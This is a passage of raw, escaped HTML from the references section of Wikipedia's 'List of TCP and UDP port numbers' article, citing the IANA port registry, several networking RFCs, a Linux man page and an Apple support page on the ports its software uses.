class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">28 March</span> 2021</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Internet+Assigned+Numbers+Authority&amp;rft.atitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-IANA-2\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-IANA_2-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-IANA_2-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-IANA_2-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-IANA_2-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-IANA_2-4\"><sup><i><b>e</b></i></sup></a> <a href=\"#cite_ref-IANA_2-5\"><sup><i><b>f</b></i></sup></a> <a href=\"#cite_ref-IANA_2-6\"><sup><i><b>g</b></i></sup></a> <a href=\"#cite_ref-IANA_2-7\"><sup><i><b>h</b></i></sup></a> <a href=\"#cite_ref-IANA_2-8\"><sup><i><b>i</b></i></sup></a> <a href=\"#cite_ref-IANA_2-9\"><sup><i><b>j</b></i></sup></a> <a href=\"#cite_ref-IANA_2-10\"><sup><i><b>k</b></i></sup></a> <a href=\"#cite_ref-IANA_2-11\"><sup><i><b>l</b></i></sup></a> <a href=\"#cite_ref-IANA_2-12\"><sup><i><b>m</b></i></sup></a> <a href=\"#cite_ref-IANA_2-13\"><sup><i><b>n</b></i></sup></a> <a href=\"#cite_ref-IANA_2-14\"><sup><i><b>o</b></i></sup></a> <a href=\"#cite_ref-IANA_2-15\"><sup><i><b>p</b></i></sup></a> <a href=\"#cite_ref-IANA_2-16\"><sup><i><b>q</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.txt\">\"Service Name and Transport Protocol Port Number Registry\"</a>. The Internet Assigned Numbers Authority (IA).</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=The+Internet+Assigned+Numbers+Authority+%28IA%29&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc6335-3\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc6335_3-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-4\"><sup><i><b>e</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-5\"><sup><i><b>f</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-6\"><sup><i><b>g</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-7\"><sup><i><b>h</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-8\"><sup><i><b>i</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-9\"><sup><i><b>j</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-10\"><sup><i><b>k</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-11\"><sup><i><b>l</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-12\"><sup><i><b>m</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-13\"><sup><i><b>n</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-14\"><sup><i><b>o</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-15\"><sup><i><b>p</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-16\"><sup><i><b>q</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-17\"><sup><i><b>r</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-18\"><sup><i><b>s</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-19\"><sup><i><b>t</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-20\"><sup><i><b>u</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-21\"><sup><i><b>v</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-22\"><sup><i><b>w</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-23\"><sup><i><b>x</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-24\"><sup><i><b>y</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-25\"><sup><i><b>z</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-26\"><sup><i><b>aa</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-27\"><sup><i><b>ab</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-28\"><sup><i><b>ac</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-29\"><sup><i><b>ad</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-30\"><sup><i><b>ae</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-31\"><sup><i><b>af</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-32\"><sup><i><b>ag</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-33\"><sup><i><b>ah</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-34\"><sup><i><b>ai</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-35\"><sup><i><b>aj</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-36\"><sup><i><b>ak</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-37\"><sup><i><b>al</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-38\"><sup><i><b>am</b></i></sup></a> <a href=\"#cite_ref-rfc6335_3-39\"><sup><i><b>an</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMichelle_CottonLars_EggertJ._TouchM._Westerlund2011\" class=\"citation cs1\">Michelle Cotton; Lars Eggert;  et&#160;al. (August 2011). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6335\"><i>Internet Assigned Numbers Authority (IANA) Procedures for the Management of the Service Name and Transport Protocol Port Number Registry</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC6335\">10.17487/RFC6335</a></span>. BCP 165.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6335\">6335</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-04-01</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Internet+Assigned+Numbers+Authority+%28IANA%29+Procedures+for+the+Management+of+the+Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=IETF&amp;rft.date=2011-08&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC6335&amp;rft.au=Michelle+Cotton&amp;rft.au=Lars+Eggert&amp;rft.au=J.+Touch&amp;rft.au=M.+Westerlund&amp;rft.au=S.+Cheshire&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6335&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc7605-4\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc7605_4-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFTouch2015\" class=\"citation cs1\">Touch, Joe (August 2015). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7605\"><i>Recommendations on Using Assigned Transport Port Numbers</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC7605\">10.17487/RFC7605</a></span>. BCP 165.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7605\">7605</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Recommendations+on+Using+Assigned+Transport+Port+Numbers&amp;rft.pub=IETF&amp;rft.date=2015-08&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC7605&amp;rft.aulast=Touch&amp;rft.aufirst=Joe&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc7605&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-man-5-services-die.net-5\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-man-5-services-die.net_5-0\">^</a></b></span> <span class=\"reference-text\"><span class=\"plainlinksneverexpand\"><code><a rel=\"nofollow\" class=\"external text\" href=\"https://linux.die.net/man/5/services\">services(5)</a></code></span>&#160;–&#160;<a href=\"/wiki/Linux\" title=\"Linux\">Linux</a> File Formats <a href=\"/wiki/Man_page\" title=\"Man page\">Manual</a>. \"...&#160;Port numbers below 1024 (so-called \"low numbered\" ports) can only be bound to by root&#160;...&#160;Well-known port numbers specified by the IANA are normally located in this root-only space.&#160;...\"</span>\n</li>\n<li id=\"cite_note-Port_0_Linux-6\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Port_0_Linux_6-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20150402103756/http://lxr.free-electrons.com/source/net/ipv4/inet_connection_sock.c?v=3.18#L89\">\"Linux/net/ipv4/inet_connection_sock.c\"</a>. LXR. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://lxr.free-electrons.com/source/net/ipv4/inet_connection_sock.c?v=3.18#L89\">the original</a> on 2015-04-02<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2015-01-17</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Linux%2Fnet%2Fipv4%2Finet_connection_sock.c&amp;rft.pub=LXR&amp;rft_id=http%3A%2F%2Flxr.free-electrons.com%2Fsource%2Fnet%2Fipv4%2Finet_connection_sock.c%3Fv%3D3.18%23L89&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1078-7\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1078_7-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFLottor1988\" class=\"citation cs1\">Lottor, M. (November 1988). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1078\"><i>TCP Port Service Multiplexer (TCPMUX)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;1–2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1078\">10.17487/RFC1078</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1078\">1078</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=TCP+Port+Service+Multiplexer+%28TCPMUX%29&amp;rft.pages=pp.-1-2&amp;rft.pub=IETF&amp;rft.date=1988-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1078&amp;rft.aulast=Lottor&amp;rft.aufirst=M.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1078&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc407-8\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc407_8-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBresslerGuidaMcKenzie1972\" class=\"citation cs1\">Bressler, Rober; Guida, Richard; McKenzie, Alex (16 October 1972). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc407\"><i>Remote Job Entry Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0407\">10.17487/RFC0407</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc407\">407</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Remote+Job+Entry+Protocol&amp;rft.pub=IETF&amp;rft.date=1972-10-16&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0407&amp;rft.aulast=Bressler&amp;rft.aufirst=Rober&amp;rft.au=Guida%2C+Richard&amp;rft.au=McKenzie%2C+Alex&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc407&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc2896-9\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc2896_9-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBiermanBucciIddon2000\" class=\"citation cs1\">Bierman, A.; Bucci, C.; Iddon, R. (August 2000). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2896\"><i>Remote Network Monitoring MIB Protocol Identifier Macros</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC2896\">10.17487/RFC2896</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2896\">2896</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-13</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Remote+Network+Monitoring+MIB+Protocol+Identifier+Macros&amp;rft.pub=IETF&amp;rft.date=2000-08&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC2896&amp;rft.aulast=Bierman&amp;rft.aufirst=A.&amp;rft.au=Bucci%2C+C.&amp;rft.au=Iddon%2C+R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2896&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc862-10\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc862_10-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc862#page-1\"><i>Echo Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0862\">10.17487/RFC0862</a></span>. STD 20.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc862\">862</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Echo+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0862&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc862%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-apple-kb-HT202944-11\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-apple-kb-HT202944_11-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-4\"><sup><i><b>e</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-5\"><sup><i><b>f</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-6\"><sup><i><b>g</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-7\"><sup><i><b>h</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-8\"><sup><i><b>i</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-9\"><sup><i><b>j</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-10\"><sup><i><b>k</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-11\"><sup><i><b>l</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-12\"><sup><i><b>m</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-13\"><sup><i><b>n</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-14\"><sup><i><b>o</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-15\"><sup><i><b>p</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-16\"><sup><i><b>q</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-17\"><sup><i><b>r</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-18\"><sup><i><b>s</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-19\"><sup><i><b>t</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-20\"><sup><i><b>u</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-21\"><sup><i><b>v</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-22\"><sup><i><b>w</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-23\"><sup><i><b>x</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-24\"><sup><i><b>y</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-25\"><sup><i><b>z</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-26\"><sup><i><b>aa</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-27\"><sup><i><b>ab</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-28\"><sup><i><b>ac</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-29\"><sup><i><b>ad</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-30\"><sup><i><b>ae</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-31\"><sup><i><b>af</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-32\"><sup><i><b>ag</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-33\"><sup><i><b>ah</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-34\"><sup><i><b>ai</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-35\"><sup><i><b>aj</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-36\"><sup><i><b>ak</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-37\"><sup><i><b>al</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-38\"><sup><i><b>am</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-39\"><sup><i><b>an</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-40\"><sup><i><b>ao</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-41\"><sup><i><b>ap</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-42\"><sup><i><b>aq</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-43\"><sup><i><b>ar</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-44\"><sup><i><b>as</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-45\"><sup><i><b>at</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-46\"><sup><i><b>au</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-47\"><sup><i><b>av</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-48\"><sup><i><b>aw</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-49\"><sup><i><b>ax</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-50\"><sup><i><b>ay</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-51\"><sup><i><b>az</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-52\"><sup><i><b>ba</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-53\"><sup><i><b>bb</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-54\"><sup><i><b>bc</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-55\"><sup><i><b>bd</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-56\"><sup><i><b>be</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-57\"><sup><i><b>bf</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-58\"><sup><i><b>bg</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-59\"><sup><i><b>bh</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-60\"><sup><i><b>bi</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-61\"><sup><i><b>bj</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-62\"><sup><i><b>bk</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-63\"><sup><i><b>bl</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-64\"><sup><i><b>bm</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-65\"><sup><i><b>bn</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-66\"><sup><i><b>bo</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-67\"><sup><i><b>bp</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-68\"><sup><i><b>bq</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-69\"><sup><i><b>br</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-70\"><sup><i><b>bs</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-71\"><sup><i><b>bt</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-72\"><sup><i><b>bu</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-73\"><sup><i><b>bv</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-74\"><sup><i><b>bw</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-75\"><sup><i><b>bx</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-76\"><sup><i><b>by</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-77\"><sup><i><b>bz</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-78\"><sup><i><b>ca</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-79\"><sup><i><b>cb</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-80\"><sup><i><b>cc</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT202944_11-81\"><sup><i><b>cd</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.apple.com/en-us/HT202944\">\"TCP and UDP ports used by Apple software products\"</a>. Support. <i>Apple</i> (published 2021-06-14). 2014-11-08. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20211015230027/https://support.apple.com/en-us/HT202944\">Archived</a> from the original on 2021-10-15<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-10-19</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Apple&amp;rft.atitle=TCP+and+UDP+ports+used+by+Apple+software+products&amp;rft.date=2014-11-08&amp;rft_id=https%3A%2F%2Fsupport.apple.com%2Fen-us%2FHT202944&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc4960-12\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc4960_12-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc4960_12-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-rfc4960_12-2\"><sup><i><b>c</b></i></sup></a> <a 